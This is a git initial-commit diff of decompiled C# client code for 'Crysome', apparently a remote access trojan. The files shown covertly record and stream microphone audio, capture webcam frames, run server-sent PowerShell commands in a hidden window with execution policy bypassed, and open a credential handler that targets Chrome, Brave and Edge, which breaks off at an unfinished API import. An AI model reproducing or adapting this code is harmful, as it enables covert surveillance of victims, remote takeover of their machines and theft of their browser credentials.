initial commit
This commit is contained in:
@@ -0,0 +1,315 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
using NAudio.Wave;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class AudioHandlers
|
||||
{
|
||||
private static volatile bool _streamRunning;
|
||||
|
||||
private static WaveInEvent _streamWaveIn;
|
||||
|
||||
private static CrysomeClient _streamClient;
|
||||
|
||||
public static void HandleGetAudioDevices(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_008f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0099: Expected O, but got Unknown
|
||||
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0041: Expected O, but got Unknown
|
||||
Program.Log("[MIC] HandleGetAudioDevices ENTER");
|
||||
try
|
||||
{
|
||||
string[] audioDeviceNames = GetAudioDeviceNames();
|
||||
Program.Log("[MIC] GetAudioDeviceNames returned " + ((audioDeviceNames != null) ? audioDeviceNames.Length : 0) + " devices");
|
||||
client.SendPacket((IPacket)new AudioDevicesResponsePacket(audioDeviceNames));
|
||||
Program.Log("[MIC] HandleGetAudioDevices sent response OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("[MIC] GetAudioDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
|
||||
Program.Log("[MIC] Stack: " + ex.StackTrace);
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new AudioDevicesResponsePacket(new string[0]));
|
||||
Program.Log("[MIC] Sent empty fallback");
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("[MIC] Fallback send failed: " + ex2.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleRequestAudio(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0011: Expected O, but got Unknown
|
||||
//IL_00ea: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00f4: Expected O, but got Unknown
|
||||
//IL_008e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0098: Expected O, but got Unknown
|
||||
Program.Log("[MIC] HandleRequestAudio ENTER");
|
||||
try
|
||||
{
|
||||
RequestAudioPacket val = (RequestAudioPacket)packet;
|
||||
int seconds = Math.Max(1, Math.Min(30, val.Seconds));
|
||||
int deviceIndex = Math.Max(0, val.DeviceIndex);
|
||||
Program.Log("[MIC] RecordMicrophone sec=" + seconds + " idx=" + deviceIndex);
|
||||
byte[] array = RecordMicrophone(seconds, deviceIndex);
|
||||
Program.Log("[MIC] Record done, " + ((array != null) ? array.Length : 0) + " bytes");
|
||||
client.SendPacket((IPacket)new AudioDataPacket(array ?? new byte[0]));
|
||||
Program.Log("[MIC] HandleRequestAudio sent OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("[MIC] RequestAudio EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
|
||||
Program.Log("[MIC] Stack: " + ex.StackTrace);
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new AudioDataPacket(new byte[0]));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStartAudioStream(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0011: Expected O, but got Unknown
|
||||
Program.Log("[MIC] HandleStartAudioStream ENTER");
|
||||
try
|
||||
{
|
||||
StartAudioStreamPacket val = (StartAudioStreamPacket)packet;
|
||||
int deviceIndex = Math.Max(0, val.DeviceIndex);
|
||||
StartStream(client, deviceIndex);
|
||||
Program.Log("[MIC] HandleStartAudioStream OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("[MIC] StartAudioStream EXCEPTION: " + ex.GetType().Name + " " + ex.Message + " Stack: " + ex.StackTrace);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStopAudioStream(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
StopStream();
|
||||
}
|
||||
|
||||
public static string[] GetAudioDeviceNames()
|
||||
{
|
||||
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0020: Unknown result type (might be due to invalid IL or missing references)
|
||||
Program.Log("[MIC] GetAudioDeviceNames ENTER");
|
||||
try
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
int deviceCount = WaveIn.DeviceCount;
|
||||
for (int i = 0; i < deviceCount; i++)
|
||||
{
|
||||
WaveInCapabilities capabilities = WaveIn.GetCapabilities(i);
|
||||
list.Add(capabilities.ProductName?.Trim() ?? ("Microphone " + i));
|
||||
}
|
||||
return list.ToArray();
|
||||
}
|
||||
catch (FileNotFoundException ex)
|
||||
{
|
||||
Program.Log("[MIC] NAudio DLL missing: " + ex.FileName + " - copy NAudio*.dll next to exe");
|
||||
return new string[0];
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("[MIC] GetAudioDeviceNames: " + ex2.Message);
|
||||
return new string[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static void StartStream(CrysomeClient client, int deviceIndex)
|
||||
{
|
||||
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004c: Expected O, but got Unknown
|
||||
//IL_0065: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0071: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_007d: Expected O, but got Unknown
|
||||
lock (typeof(AudioHandlers))
|
||||
{
|
||||
if (_streamRunning)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_streamClient = client;
|
||||
_streamRunning = true;
|
||||
}
|
||||
try
|
||||
{
|
||||
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
|
||||
int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(deviceIndex, WaveIn.DeviceCount - 1) : 0);
|
||||
_streamWaveIn = new WaveInEvent
|
||||
{
|
||||
DeviceNumber = deviceNumber,
|
||||
WaveFormat = waveFormat
|
||||
};
|
||||
_streamWaveIn.DataAvailable += delegate(object s, WaveInEventArgs e)
|
||||
{
|
||||
//IL_0045: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004f: Expected O, but got Unknown
|
||||
if (_streamRunning)
|
||||
{
|
||||
CrysomeClient streamClient = _streamClient;
|
||||
if (streamClient != null && streamClient.IsConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = new byte[e.BytesRecorded];
|
||||
Array.Copy(e.Buffer, array, e.BytesRecorded);
|
||||
_streamClient.SendPacket((IPacket)new AudioStreamChunkPacket(array));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
_streamWaveIn.StartRecording();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("AudioStream: " + ex.Message);
|
||||
_streamRunning = false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void StopStream()
|
||||
{
|
||||
lock (typeof(AudioHandlers))
|
||||
{
|
||||
_streamRunning = false;
|
||||
try
|
||||
{
|
||||
WaveInEvent streamWaveIn = _streamWaveIn;
|
||||
if (streamWaveIn != null)
|
||||
{
|
||||
streamWaveIn.StopRecording();
|
||||
}
|
||||
WaveInEvent streamWaveIn2 = _streamWaveIn;
|
||||
if (streamWaveIn2 != null)
|
||||
{
|
||||
streamWaveIn2.Dispose();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_streamWaveIn = null;
|
||||
_streamClient = null;
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] RecordMicrophone(int seconds, int deviceIndex)
|
||||
{
|
||||
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0014: Expected O, but got Unknown
|
||||
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0040: Expected O, but got Unknown
|
||||
//IL_015b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0162: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
WaveFormat val = new WaveFormat(44100, 16, 1);
|
||||
int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(Math.Max(0, deviceIndex), WaveIn.DeviceCount - 1) : 0);
|
||||
WaveInEvent val2 = new WaveInEvent
|
||||
{
|
||||
DeviceNumber = deviceNumber
|
||||
};
|
||||
val2.WaveFormat = val;
|
||||
List<byte[]> buffers = new List<byte[]>();
|
||||
DateTime dateTime = DateTime.Now.AddSeconds(seconds);
|
||||
val2.DataAvailable += delegate(object s, WaveInEventArgs e)
|
||||
{
|
||||
byte[] array2 = new byte[e.BytesRecorded];
|
||||
Array.Copy(e.Buffer, array2, e.BytesRecorded);
|
||||
lock (buffers)
|
||||
{
|
||||
buffers.Add(array2);
|
||||
}
|
||||
};
|
||||
val2.StartRecording();
|
||||
while (DateTime.Now < dateTime)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
val2.StopRecording();
|
||||
val2.Dispose();
|
||||
byte[] array;
|
||||
lock (buffers)
|
||||
{
|
||||
int num = 0;
|
||||
foreach (byte[] item in buffers)
|
||||
{
|
||||
num += item.Length;
|
||||
}
|
||||
array = new byte[num];
|
||||
int num2 = 0;
|
||||
foreach (byte[] item2 in buffers)
|
||||
{
|
||||
Array.Copy(item2, 0, array, num2, item2.Length);
|
||||
num2 += item2.Length;
|
||||
}
|
||||
}
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
WaveFileWriter val3 = new WaveFileWriter((Stream)memoryStream, val);
|
||||
((Stream)(object)val3).Write(array, 0, array.Length);
|
||||
((Stream)(object)val3).Flush();
|
||||
byte[] result = memoryStream.ToArray();
|
||||
((Stream)(object)val3).Dispose();
|
||||
return result;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return CreateSilenceWav(seconds);
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CreateSilenceWav(int seconds)
|
||||
{
|
||||
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000e: Expected O, but got Unknown
|
||||
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001c: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
WaveFormat val = new WaveFormat(44100, 16, 1);
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
WaveFileWriter val2 = new WaveFileWriter((Stream)memoryStream, val);
|
||||
try
|
||||
{
|
||||
int num = val.SampleRate * val.BitsPerSample / 8 * val.Channels;
|
||||
byte[] array = new byte[Math.Min(num, 88200)];
|
||||
for (long num2 = 0L; num2 < (long)num * (long)seconds; num2 += array.Length)
|
||||
{
|
||||
((Stream)(object)val2).Write(array, 0, (int)Math.Min(array.Length, (long)num * (long)seconds - num2));
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
((IDisposable)val2)?.Dispose();
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class CameraHandlers
|
||||
{
|
||||
public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_008f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0099: Expected O, but got Unknown
|
||||
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0041: Expected O, but got Unknown
|
||||
Program.Log("[CAM] HandleGetCameraDevices ENTER");
|
||||
try
|
||||
{
|
||||
string[] cameraDeviceNames = GetCameraDeviceNames();
|
||||
Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices");
|
||||
client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames));
|
||||
Program.Log("[CAM] HandleGetCameraDevices sent response OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
|
||||
Program.Log("[CAM] Stack: " + ex.StackTrace);
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0]));
|
||||
Program.Log("[CAM] Sent empty fallback");
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("[CAM] Fallback send failed: " + ex2.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0011: Expected O, but got Unknown
|
||||
//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00cd: Expected O, but got Unknown
|
||||
//IL_006b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0075: Expected O, but got Unknown
|
||||
Program.Log("[CAM] HandleRequestCameraFrame ENTER");
|
||||
try
|
||||
{
|
||||
RequestCameraFramePacket val = (RequestCameraFramePacket)packet;
|
||||
Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex);
|
||||
byte[] array = CaptureCameraFrame(val.DeviceIndex);
|
||||
Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes");
|
||||
client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0]));
|
||||
Program.Log("[CAM] HandleRequestCameraFrame sent OK");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
|
||||
Program.Log("[CAM] Stack: " + ex.StackTrace);
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new CameraFramePacket(new byte[0]));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static string[] GetCameraDeviceNames()
|
||||
{
|
||||
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0015: Expected O, but got Unknown
|
||||
Program.Log("[CAM] GetCameraDeviceNames ENTER");
|
||||
try
|
||||
{
|
||||
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
List<string> list = new List<string>();
|
||||
for (int i = 0; i < ((CollectionBase)(object)val).Count; i++)
|
||||
{
|
||||
list.Add(val[i].Name ?? ("Camera " + i));
|
||||
}
|
||||
return list.ToArray();
|
||||
}
|
||||
catch (FileNotFoundException ex)
|
||||
{
|
||||
Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe");
|
||||
return new string[0];
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message);
|
||||
return new string[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CaptureCameraFrame(int deviceIndex)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0011: Expected O, but got Unknown
|
||||
//IL_0047: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006c: Expected O, but got Unknown
|
||||
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
|
||||
try
|
||||
{
|
||||
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
if (((CollectionBase)(object)val).Count == 0)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1));
|
||||
VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString);
|
||||
byte[] result = null;
|
||||
ManualResetEvent ev = new ManualResetEvent(initialState: false);
|
||||
NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
using Bitmap bitmap = (Bitmap)e.Frame.Clone();
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
bitmap.Save(memoryStream, ImageFormat.Jpeg);
|
||||
result = memoryStream.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
ev.Set();
|
||||
};
|
||||
val2.NewFrame += val3;
|
||||
val2.Start();
|
||||
ev.WaitOne(5000);
|
||||
val2.SignalToStop();
|
||||
val2.WaitForStop();
|
||||
val2.NewFrame -= val3;
|
||||
return result ?? new byte[0];
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public class ChatForm : Form
|
||||
{
|
||||
private readonly Action<string> _onSend;
|
||||
|
||||
private ListBox _listBox;
|
||||
|
||||
private TextBox _textBox;
|
||||
|
||||
private Button _sendBtn;
|
||||
|
||||
public ChatForm(Action<string> onSend)
|
||||
{
|
||||
_onSend = onSend;
|
||||
Text = "Chat";
|
||||
base.Size = new Size(400, 350);
|
||||
base.FormBorderStyle = FormBorderStyle.Sizable;
|
||||
base.StartPosition = FormStartPosition.CenterScreen;
|
||||
base.ShowIcon = false;
|
||||
base.FormClosing += delegate
|
||||
{
|
||||
ChatHandlers.OnFormClosed();
|
||||
};
|
||||
_listBox = new ListBox
|
||||
{
|
||||
Dock = DockStyle.Fill,
|
||||
Font = new Font("Segoe UI", 10f)
|
||||
};
|
||||
Panel panel = new Panel
|
||||
{
|
||||
Dock = DockStyle.Bottom,
|
||||
Height = 40
|
||||
};
|
||||
_textBox = new TextBox
|
||||
{
|
||||
Dock = DockStyle.Fill,
|
||||
Font = new Font("Segoe UI", 10f),
|
||||
Margin = new Padding(4)
|
||||
};
|
||||
_sendBtn = new Button
|
||||
{
|
||||
Text = "Send",
|
||||
Dock = DockStyle.Right,
|
||||
Width = 70
|
||||
};
|
||||
_textBox.KeyDown += delegate(object s, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode == Keys.Return)
|
||||
{
|
||||
e.SuppressKeyPress = true;
|
||||
Send();
|
||||
}
|
||||
};
|
||||
_sendBtn.Click += delegate
|
||||
{
|
||||
Send();
|
||||
};
|
||||
panel.Controls.Add(_textBox);
|
||||
panel.Controls.Add(_sendBtn);
|
||||
base.Controls.Add(_listBox);
|
||||
base.Controls.Add(panel);
|
||||
}
|
||||
|
||||
public void AddMessage(string from, string msg)
|
||||
{
|
||||
if (base.InvokeRequired)
|
||||
{
|
||||
BeginInvoke((MethodInvoker)delegate
|
||||
{
|
||||
AddMessage(from, msg);
|
||||
});
|
||||
}
|
||||
else if (_listBox != null)
|
||||
{
|
||||
_listBox.Items.Add("[" + from + "]: " + msg);
|
||||
_listBox.TopIndex = Math.Max(0, (_listBox.Items?.Count ?? 1) - 1);
|
||||
}
|
||||
}
|
||||
|
||||
private void Send()
|
||||
{
|
||||
string text = _textBox?.Text?.Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
_textBox.Clear();
|
||||
AddMessage("You", text);
|
||||
_onSend?.Invoke(text);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class ChatHandlers
|
||||
{
|
||||
private static CrysomeClient _client;
|
||||
|
||||
private static ChatForm _form;
|
||||
|
||||
private static Thread _uiThread;
|
||||
|
||||
private static readonly object _lock = new object();
|
||||
|
||||
public static void HandleChatMessage(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
ChatMessagePacket val = (ChatMessagePacket)packet;
|
||||
if (string.IsNullOrEmpty(val.Message))
|
||||
{
|
||||
return;
|
||||
}
|
||||
_client = client;
|
||||
EnsureForm();
|
||||
try
|
||||
{
|
||||
_form?.AddMessage("Server", val.Message);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal static void OnFormClosed()
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_form = null;
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnsureForm()
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (_form == null || _form.IsDisposed)
|
||||
{
|
||||
_form = new ChatForm(SendToServer);
|
||||
_uiThread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
|
||||
Application.Run(_form);
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
_uiThread.SetApartmentState(ApartmentState.STA);
|
||||
_uiThread.Start();
|
||||
while (_form == null || !_form.IsHandleCreated)
|
||||
{
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void SendToServer(string msg)
|
||||
{
|
||||
//IL_0019: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0023: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
CrysomeClient client = _client;
|
||||
if (client != null && client.IsConnected)
|
||||
{
|
||||
_client.SendPacket((IPacket)new ChatMessagePacket(msg));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class CommandHandlers
|
||||
{
|
||||
private const int MaxOutput = 512000;
|
||||
|
||||
public static void HandleRunCommand(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0013: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001d: Expected O, but got Unknown
|
||||
string text = RunPowerShell(((RunCommandRequestPacket)packet).Command);
|
||||
client.SendPacket((IPacket)new RunCommandResponsePacket(text));
|
||||
}
|
||||
|
||||
private static string RunPowerShell(string command)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "powershell.exe",
|
||||
Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text,
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
StringBuilder sb = new StringBuilder();
|
||||
using (Process process = Process.Start(startInfo))
|
||||
{
|
||||
process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e)
|
||||
{
|
||||
if (e.Data != null && sb.Length < 512000)
|
||||
{
|
||||
sb.AppendLine(e.Data);
|
||||
}
|
||||
};
|
||||
process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e)
|
||||
{
|
||||
if (e.Data != null && sb.Length < 512000)
|
||||
{
|
||||
sb.AppendLine(e.Data);
|
||||
}
|
||||
};
|
||||
process.BeginOutputReadLine();
|
||||
process.BeginErrorReadLine();
|
||||
process.WaitForExit(60000);
|
||||
}
|
||||
string text2 = sb.ToString();
|
||||
if (text2.Length > 512000)
|
||||
{
|
||||
text2 = text2.Substring(0, 512000) + "...(truncated)";
|
||||
}
|
||||
return string.IsNullOrEmpty(text2) ? "(no output)" : text2;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return "Error: " + ex.Message;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,876 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Data.Common;
|
||||
using System.Data.SQLite;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class CredentialsHandlers
|
||||
{
|
||||
private struct STARTUPINFOW
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public IntPtr lpReserved;
|
||||
|
||||
public IntPtr lpDesktop;
|
||||
|
||||
public IntPtr lpTitle;
|
||||
|
||||
public uint dwX;
|
||||
|
||||
public uint dwY;
|
||||
|
||||
public uint dwXSize;
|
||||
|
||||
public uint dwYSize;
|
||||
|
||||
public uint dwXCountChars;
|
||||
|
||||
public uint dwYCountChars;
|
||||
|
||||
public uint dwFillAttribute;
|
||||
|
||||
public uint dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public uint dwProcessId;
|
||||
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
private const uint CREATE_SUSPENDED = 4u;
|
||||
|
||||
private const uint CREATE_NO_WINDOW = 134217728u;
|
||||
|
||||
private const uint DETACHED_PROCESS = 8u;
|
||||
|
||||
private const uint STARTF_USESHOWWINDOW = 1u;
|
||||
|
||||
private const uint STARTF_USESTDHANDLES = 256u;
|
||||
|
||||
private const int MEM_COMMIT = 4096;
|
||||
|
||||
private const int MEM_RESERVE = 8192;
|
||||
|
||||
private const int PAGE_READWRITE = 4;
|
||||
|
||||
private const int MEM_RELEASE = 32768;
|
||||
|
||||
private const uint WAIT_TIMEOUT = 258u;
|
||||
|
||||
private static readonly string[] BrowserNames = new string[3] { "Chrome", "Brave", "Edge" };
|
||||
|
||||
private static readonly string[] BrowserExes = new string[3] { "chrome.exe", "brave.exe", "msedge.exe" };
|
||||
|
||||
private static readonly string[] ChromeRegPaths = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "SOFTWARE\\Google\\Chrome\\BLBeacon" };
|
||||
|
||||
private static readonly string[] BraveRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe" };
|
||||
|
||||
private static readonly string[] EdgeRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe" };
|
||||
|
||||
private static readonly string[] ChromeFallbackPaths = new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" };
|
||||
|
||||
private static readonly string[] BraveFallbackPaths = new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" };
|
||||
|
||||
private static readonly string[] EdgeFallbackPaths = new string[2] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe", "%ProgramFiles%\\Microsoft\\Edge\\Application\\msedge.exe" };
|
||||
|
||||
private static readonly string[][] BrowserRegPaths = new string[3][] { ChromeRegPaths, BraveRegPaths, EdgeRegPaths };
|
||||
|
||||
private static readonly string[][] BrowserFallbacks = new string[3][] { ChromeFallbackPaths, BraveFallbackPaths, EdgeFallbackPaths };
|
||||
|
||||
private static string LocalAppData => Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||||
|
||||
private static string RoamingAppData => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
